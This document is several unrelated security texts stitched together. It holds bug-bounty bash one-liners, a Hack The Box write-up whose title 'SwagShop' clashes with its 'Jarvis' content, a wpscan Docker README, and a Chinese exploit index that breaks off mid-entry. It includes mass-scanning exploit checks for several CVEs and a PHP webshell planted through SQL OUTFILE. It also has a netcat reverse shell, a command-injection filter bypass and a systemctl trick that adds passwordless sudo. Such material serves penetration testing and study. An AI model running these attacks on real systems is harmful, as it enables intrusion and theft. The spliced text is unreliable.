- [Explained command](https://bit.ly/3m9AsOY) ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Oneliner to get HTTP Titles:(Update! HTTPX does a better job :-) ) ```bash for i in $(cat urls.txt ); do echo "$i | $(curl --connect-timeout 0.5 $i -so - | grep -iPo '(?<=<title>)(.*)(?=</title>)')"; done | tee -a titles.txt ``` ### Extract subdomains from IP range: ```bash nmap IP_range | grep "domain" | awk '{print $5}' ``` ### Find subdomains and takeover ```bash subfinder -d {target} >> domains ; assetfinder -subs-only {target} >> domains ; amass enum -norecursive -noalts -d {target} >> domains ; subjack -w domains -t 100 -timeout 30 -ssl -c ~/fingerprints.json -v 3 >> takeover ; ``` ### Extract juicy info from unpacked APK ```bash apktool d apk;grep -EHim "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder ``` ### Gather all urls, send to burp ```bash cat hosts | sed 's/https\?:\/\///' | gau > urls.txt cat urls.txt | grep -P "\w+\.js(\?|$)" | sort -u > jsurls.txt ffuf -mc 200 -w jsurls.txt:HFUZZ -u HFUZZ -replay-proxy http:127.0.0.1:8080 ``` ### Extract all javascript links from a domain using gau and grep ```bash echo domain | gau | grep -Eo "https?://\S+?\.js" ``` ### Local File Inclusion > @dwisiswant0 ```bash gau domain.tld | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' ``` ### Open-redirect > @dwisiswant0 ```bash export LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' ``` > @N3T_hunt3r ```bash cat waybackurl.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null ``` ### XSS > @cihanmehmet ```bash gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee result.txt ``` ### Prototype Pollution > @R0X4R ```bash sed 's/$/\/?__proto__[testparam]=exploit\//' alive.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULN" ``` ### CVE-2020-5902 > @Madrobot_ ```bash shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done ``` ### CVE-2020-3452 > @vict0ni ```bash while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < domain_list.txt ``` ### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution > @Madrobot_ ```bash shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done; ``` ### Find JS Files > @D0cK3rG33k ```bash assetfinder site.com | gau|egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)'|while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" |sed -e 's, 'var','"$url"?',g' -e 's/ //g'|grep -v '.js'|sed 's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars";done ``` ### Extract Endpoints from JS File > @renniepak ```bash cat main.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u ``` ### Get CIDR & Orgz from Target Lists > @steve_mcilwain ```bash for DOMAIN in $(cat domains.txt);do echo $(for ip in $(dig a $DOMAIN +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; d one | uniq); done ``` ### Get Subdomains from RapidDNS.io > @andirrahmani1 ```bash curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -u ``` ### Get Subdomains from BufferOver.run > @\_ayoubfathi\_ ```bash curl -s https://dns.bufferover.run/dns?q=.DOMAIN.com |jq -r .FDNS_A[]|cut -d',' -f2|sort -u ``` ### Get Subdomains from Riddler.io > @pikpikcu ```bash curl -s "https://riddler.io/search/exportcsv?q=pld:domain.com" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` ### Get Subdomains from VirusTotal > @pikpikcu ```bash curl -s "https://www.virustotal.com/ui/domains/domain.com/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` ### Get Subdomains from CertSpotter > @caryhooper ```bash curl -s "https://certspotter.com/api/v1/issuances?domain=domain.com&include_subdomains=true&expand=dns_names" | jq .[].dns_names | tr -d '[]"\n ' | tr ',' '\n' ``` ### Get Subdomains from Archive > @pikpikcu ```bash curl -s "http://web.archive.org/cdx/search/cdx?url=*.domain.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u ``` ### Get Subdomains from JLDC > @pikpikcu ```bash curl -s "https://jldc.me/anubis/subdomains/domain.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` ### Get Subdomains from securitytrails > @pikpikcu ```bash curl -s "https://securitytrails.com/list/apex_domain/domain.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".domain.com" | sort -u ``` ### Bruteforcing subdomain using DNS Over > @pikpikcu ``` while read sub;do echo "https://dns.google.com/resolve?name=$sub.domain.com&type=A&cd=true" | parallel -j100 -q curl -s -L --silent | grep -Po '[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' | jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".domain.com" | sort -u ; done < wordlists.txt ``` ### Get Subdomains With sonar.omnisint.io > @pikpikcu ``` curl --silent https://sonar.omnisint.io/subdomains/twitter.com | grep -oE "[a-zA-Z0-9._-]+\.twitter.com" | sort -u ``` ### Get Subdomains With synapsint.com > @pikpikcu ``` curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2Fdomain.com" | grep -oE "[a-zA-Z0-9._-]+\.domain.com" | sort -u ``` ### Get Subdomains from crt.sh > @vict0ni ```bash curl -s "https://crt.sh/?q=%25.$1&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u ``` ### Sort & Tested Domains from Recon.dev > @stokfedrik ```bash curl "https://recon.dev/api/search?key=apikey&domain=example.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u |httpx -silent ``` ### Subdomain Bruteforcer with FFUF > @GochaOqradze ```bash ffuf -u https://FUZZ.rootdomain -w jhaddixall.txt -v | grep "| URL |" | awk '{print $4}' ``` ### Find All Allocated IP ranges for ASN given an IP address > wains.be ```bash whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net $1 | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n ``` ### Extract IPs from a File > @emenalf ```bash grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt ``` ### Ports Scan without CloudFlare > @dwisiswant0 ```bash subfinder -silent -d uber.com | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe ``` ### Create Custom Wordlists > @tomnomnom ```bash gau domain.com| unfurl -u keys | tee -a wordlist.txt ; gau domain.com | unfurl -u paths|tee -a ends.txt; sed 's#/#\n#g' ends.txt | sort -u | tee -a wordlist.txt | sort -u ;rm ends.txt | sed -i -e 's/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.wolf\|\.bmp//g' wordlist.txt ``` ```bash cat domains.txt | httprobe | xargs curl | tok | tr '[:upper:]' '[:lower:]' | sort -u | tee -a words.txt ``` ### Extracts Juicy Informations > @Prial Islam Khan ```bash for sub in $(cat domains.txt);do /usr/bin/gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$sub?limit=100&page=1" | grep "\burl\b" | gron --ungron | jq |egrep -wi 'url' | awk '{print $2}' | sed 's/"//g'| sort -u | tee -a file.txt ;done ``` ### Find Subdomains TakeOver > @hahwul ```bash subfinder -d {target} >> domains ; assetfinder -subs-only {target} >> domains ; amass enum -norecursive -noalts -d {target} >> domains ; subjack -w domains -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover ; ``` ### Get multiple target's Custom URLs from ParamSpider > @hahwul ```bash cat domains | xargs -I % python3 ~/tool/ParamSpider/paramspider.py -l high -o ./spidering/paramspider/% -d % ; ``` ### URLs Probing with cURL + Parallel > @akita_zen ```bash cat alive-subdomains.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk ``` ### Dump In-scope Assets from `chaos-bugbounty-list` > @dwisiswant0 ```bash curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value' ``` ### Dump In-scope Assets from `bounty-targets-data` > @dwisiswant0 #### HackerOne Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv' ``` #### BugCrowd Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv' ``` #### Intigriti Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv' ``` #### YesWeHack Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv' ``` #### HackenProof Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv' ``` #### Federacy Programs ```bash curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv' ``` ### Get all the urls out of a sitemap.xml > @healthyoutlet ```bash curl -s domain.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' ``` ### Pure bash Linkfinder > @ntrzz ```bash curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > jslinks.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf jslinks.txt ``` ### Extract Endpoints from swagger.json > @zer0pwn ```bash curl -s https://domain.tld/v2/swagger.json | jq '.paths | keys[]' ``` ### CORS Misconfiguration > @manas_hunter ```bash site="https://example.com"; gau "$site" | while read url;do target=$(curl -s -I -H "Origin: https://evil.com" -X GET $url) | if grep 'https://evil.com'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done ``` ### Find Hidden Servers and/or Admin Panels > @rez0__ ```bash ffuf -c -u https://target .com -H "Host: FUZZ" -w vhost_wordlist.txt ``` ### Recon using api.recon.dev > @z0idsec ```bash curl -s -w "\n%{http_code}" https://api.recon.dev/search?domain=site.com | jg .[].domain ``` ### Find live host/domain/assets > @_YashGoti_ ```bash subfinder -d http://tesla.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u ``` ### XSS without gf > @HacktifyS ```bash waybackurls testphp.vulnweb.com| grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done ``` ### Extract endpoints from APK files > @laughface809 ```bash apkurlgrep -a path/to/file.apk ``` ### Get Subdomains from IPs > @laughface809 ```bash python3 hosthunter.py <target-ips.txt> > vhosts.txt ``` ### webscreenshot > @laughface809 ```bash python webscreenshot.py -i list.txt -w 40 ``` ### Removes duplicate URLs and parameter combinations > @laughface809 ```bash cat urls.txt |qsreplace -a ``` ### Gather domains from content-security-policy: > @geeknik ```bash curl -v -silent https://$domain --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" | sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u ``` ### 1 . Using dns.bufferover.run ``` curl -s https://dns.bufferover.run/dns?q=.example.com |jq -r .FDNS_A[]|cut -d',' -f2|sort -u ``` ### 2 . Using Crt.sh ``` curl -s https://dns.bufferover.run/dns?q=.hackerone.com |jq -r .FDNS_A[]|cut -d',' -f2|sort -u ``` ### 3 . Using Certspotter ``` curl https://certspotter.com/api/v0/certs\?domain\=example.com | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | uniq ``` ### 4 . Using Certspotter (With port scanning) ``` curl https://certspotter.com/api/v0/certs\?domain\=example.com | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | uniq | dig +short -f - | uniq | nmap -T5 -Pn -sS -i - -p 80,443,21,22,8080,8081,8443 --open -n -oG - ``` ### 5 . Sublist3r One Liner ``` . <(cat domains | xargs -n1 -i{} python sublist3r.py -d {} -o {}.txt) ``` ### 6 . Grab Titles of webpages ``` for i in $(cat Webservers.txt ); do echo "$i | $(curl --connect-timeout 0.5 $i -so - | grep -iPo '(?<=<title>)(.*)(?=</title>)')"; done ``` ### 7 . Enumerate hosts from SSL Certificate ``` echo | openssl s_client -connect https://targetdomain.com:443 | openssl x509 -noout -text | grep DNS ``` ### 8 . Google DNS via HTTPS ``` echo "targetdomain.com" | xargs -I domain proxychains curl -s "https://dns.google.com/resolve?name=domain&type=A" | jq . ``` ### 9 . CommonCrawl to find endpoints on a site ``` echo "targetdomain.com" | xargs -I domain curl -s "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.domain&output=json" | jq -r .url | sort -u ``` ### 10 . Using WebArchive ``` curl -s "http://web.archive.org/cdx/search/cdx?url=*.hackerone.com/*&output=text&fl=original&collapse=urlkey" |sort| sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | uniq ``` ### 11 . Using ThreatCrowd ``` curl https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=hackerone.com |jq .subdomains |grep -o '\w.*hackerone.com' ``` ### 12 . Using Hackertarget ``` curl https://api.hackertarget.com/hostsearch/?q=hackerone.com | grep -o '\w.*hackerone.com' ``` ### 13 . Bruteforce Subdomains ``` while read sub; do if host "$sub.example.com" &> /dev/null; then echo "$sub.example.com"; fi; done < wordslist.txt ``` ### 14 . Assetfinder ``` assetfinder http://hackerone.com > recon.txt; for d in $(<recon.txt); do $(cutycapt --url=$d --out=$d.jpg --max-wait=100000); done ``` ## Note : ``` These oneliners are collected from different sources , Credits to the respesctive authors
# SwagShop <h1 align="center"> <br> <a href="https://www.hackthebox.eu/home/machines/profile/194"><img src="images/img.png" alt="Jarvis"></a> <br> </h1> <h4 align="center"> Author: manulqwerty & Ghostpp7 </h4> *** __Machine IP__: 10.10.10.143 __DATE__ : 16/07/2019 __START TIME__: 7:41 PM *** ## NMAP ![](images/nmap.png) Since there aren't many port open, we'll just start with HTTP *** ## HTTP ![](images/website.png) It's a beautifully designed website. I started with running `dirsearch` on the website and found only few pages ![](images/dirsearch.png) I think I was not supposed to find that `reverse shell` :) I started looking into those page but there wasnt anything interesting. The `/phpmyadmin` leads to a page asking for credentials. So I started looking around on the website. On `rooms-suites.php` I noticed something, the first and the last room had the same image. ![](images/rooms.png) I first tried to see if I can find anything in the image but nothing. Then I noticed that URL for all the rooms were in the following form: `room.php?cod=1` so I decided to check that parameter for LFI. Tried using `../../etc/passwd%00`etc but nothing worked. Then I tested it for `SQLi` using `Sqlmap` on it. ![](images/dbms.png) ![](images/vuln.png) Since this is `vulnerable` to SQLi I decided to use sqlmap to list all the DBs ```bash $ sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent --dbs ``` ![](images/dbs.png) There are 9 entries available to use, we can list tables of those DBs now. ```bash $ sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent -D aaalc --tables ``` ![](images/tables.png) now let's see the content of that table ```bash $ sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent -D aaalc --tables -T "orlol" -C name,password --dump ``` ![](images/content.png) It's empty but using the same commands we can now checkout content of all the DBs/tables. I found something in the `hotel` DB, it had a table named `room` and when I tried to list content of that table I got: ![](images/room-tables.png) So in `mysql` DB I found a table named `user` and in that I got a hash. ```bash $ sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent -D mysql --tables -T "user" -C User,Password --dump --thread 5 ``` ![](images/hash.png) using [crackstation](https://crackstation.net/) I was able to crack that hash. ![](images/cracked.png) `DBadmin: imissyou` Using those credential I got in. *** ## User pwn After some googling I found a way to get a reverse shell. In the `wcdws` table I added a sql query ```sql SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/backdoor.php" ``` ![](images/command.png) and then visted `/backdoor.php?cmd=ls` to get RCE. ![](images/rce.png) Now we can easily get reverse shell by visiting the following URL ```bash backdoor.php?cmd=nc -e /bin/sh 10.10.15.107 4444 ``` and I got the shell on my listener which I started by running `nc -nlvp 4444`. ![](images/reverse-shell.png) I tried to go into `user` directory to get the `user` flag but got permission denied. ![](images/permission.png) So I started looking around in the `/var/www` folder and found a `simpler.py` file in `/var/www/html/Admin-Utilities` ![](images/simpler.png) ```python #!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re def show_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message) def show_header(): print('''*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** ''') def show_statistics(): path = '/home/pepper/Web/Logs/' print('Statistics\n-----------') listed_files = listdir(path) count = len(listed_files) print('Number of Attackers: ' + str(count)) level_1 = 0 dat = datetime(1, 1, 1) ip_list = [] reks = [] ip = '' req = '' rek = '' for i in listed_files: f = open(path + i, 'r') lines = f.readlines() level2, rek = get_max_level(lines) fecha, requ = date_to_num(lines) ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if fecha > dat: dat = fecha req = requ ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if int(level2) > int(level_1): level_1 = level2 ip_list = [ip] reks=[rek] elif int(level2) == int(level_1): ip_list.append(ip) reks.append(rek) f.close() print('Most Risky:') if len(ip_list) > 1: print('More than 1 ip found') cont = 0 for i in ip_list: print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont]) cont = cont + 1 print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req) def list_ip(): print('Attackers\n-----------') path = '/home/pepper/Web/Logs/' listed_files = listdir(path) for i in listed_files: f = open(path + i,'r') lines = f.readlines() level,req = get_max_level(lines) print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level) f.close() def date_to_num(lines): dat = datetime(1,1,1) ip = '' req='' for i in lines: if 'Level' in i: fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0] regex = '(\d+)-(.*)-(\d+)(.*)' logEx=re.match(regex, fecha).groups() mes = to_dict(logEx[1]) fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3] fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S') if fecha > dat: dat = fecha req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10] return dat, req def to_dict(name): month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'} return month_dict[name] def get_max_level(lines): level=0 for j in lines: if 'Level' in j: if int(j.split(' ')[4]) > int(level): level = j.split(' ')[4] req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10] return level, req def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) if __name__ == '__main__': show_header() if len(sys.argv) != 2: show_help() exit() if sys.argv[1] == '-h' or sys.argv[1] == '--help': show_help() exit() elif sys.argv[1] == '-s': show_statistics() exit() elif sys.argv[1] == '-l': list_ip() exit() elif sys.argv[1] == '-p': exec_ping() exit() else: show_help() exit() ``` The only thing that matter in this `exec_ping` function. ```python def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) ``` we can see that whatever we enter it passed to `os.system` but we have restriction so we cannot use things like `;` or `-`. The good thing is that we don't need those character, we can escape this with `eval` or `$()`. The permission of `simpler.py` is for `pepper` so we can run this file as pepper and then spwan a shell which will give us a horizontal privelege escalation from `www-data` to `pepper`. ![](images/escape.png) The problem with this was I couldn't see output of any command. So I did `cat user.txt` it will not give any error but it will not print the hash either. So I decided to put my public key in `/home/pepper/.ssh/authorized_keys` and then SSH into peppers account. But Since the `/home/pepper/.ssh/authorized_keys` doesn't exist we'll have to make this. * `mkdir /home/pepper/.ssh` * `touch authorized_keys` * `echo pubkey > /home/pepper/.ssh/authorized_keys` With this I was able to login into `peppers` ssh account without any password and then got the user hash. ![](images/user.png) *** ## Pwn root Now we can download our enumeration script to see if we can find anything useful. After running the enum file I found a SUID ![](images/suid.png) The first thing I did was to search `systemctl` on `gtfobin` and I found something [gtfobin/systemctl](https://gtfobins.github.io/gtfobins/systemctl/) Using the said method I was able to get the root flag. ```bash TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF ``` Just run this and we'll have the root hash in a file named `output` in `tmp` directory. ![](images/root.png) *** __Note__: I didn't wanted to spoil it for others so I removed that file in the similar way ```bash TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "rm /tmp/output" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF ``` *** Also you can do something like ```bash TF=$(mktemp).service echo '[Unit] Description=evil service [Service] Type=oneshot ExecStart=/bin/sh -c "echo pepper ALL=\(ALL\) NOPASSWD: ALL>> /etc/sudoers" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF ``` This would add `pepper` to the list of `sudoers` without any password. *** *** I really enjoyed doing this machine. Everything about this was really nice and I learned something new related to `systemctl` so that's something. __End Date__: `Wed Jul 17 12:55:44 IST 2019` *** Thanks for reading, Feedback is always appreciated Follow me [@0xmzfr](https://twitter.com/0xmzfr) for more "Writeups".
wpscan ====== Docker image for [wpscan](http://wpscan.org/) Usage with my image: $ docker run --rm -it infoslack/wpscan --url www.example.com If you want to generate the image: $ git clone [email protected]:infoslack/sec-tools.git $ cd sec-tools/wpscan $ docker build -t wpscan . You can create a bash wrapper for docker run commands in you `.bashrc` or similar: ```bash wpscan(){ docker run --rm -it \ -v /tmp/wpscan/cache:/wpscan/cache \ --log-driver none \ infoslack/wpscan "$@" } ``` #### WPSCAN EXAMPLES Do 'non-intrusive' checks... $ wpscan --url www.example.com Do wordlist password brute force on enumerated users using 50 threads... $ wpscan --url www.example.com --wordlist darkc0de.lst --threads 50 Do wordlist password brute force on the 'admin' username only... $ wpscan --url www.example.com --wordlist darkc0de.lst --username admin Enumerate installed plugins... $ wpscan --url www.example.com --enumerate p Run all enumeration tools... $ wpscan --url www.example.com --enumerate Use custom content directory... $ wpscan -u www.example.com --wp-content-dir custom-content Update WPScan's databases... $ wpscan --update Debug output... $ wpscan --url www.example.com --debug-output 2>debug.log
## <span id="head1"> Penetration_Testing_POC</span> 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享,作为笔记吧,欢迎补充。 - [ Penetration_Testing_POC](#head1) - [ 请善用搜索[`Ctrl+F`]查找](#head2) - [IOT Device&Mobile Phone](#head3) - [Web APP](#head4) - [ 提权辅助相关](#head5) - [ PC](#head6) - [ tools-小工具集合](#head7) - [ 文章/书籍/教程相关](#head8) - [ 说明](#head9) ## <span id="head2"> 请善用搜索[`Ctrl+F`]查找</span> ## <span id="head3">IOT Device&Mobile Phone</span> - [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md) - [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md) - [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) - [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md) - [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051) - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE) - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb) - [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb) - [从 Interfaces.d 到 RCE:Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/) - [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md) - [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158) - [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154) - [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md) - [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC) - [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger) - [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py) - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits) ## <span id="head4">Web APP</span> - [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md) - [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md) - [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) - [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) - [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) - [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md) - [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md) - [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md) - [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md) - [Cobub Razor 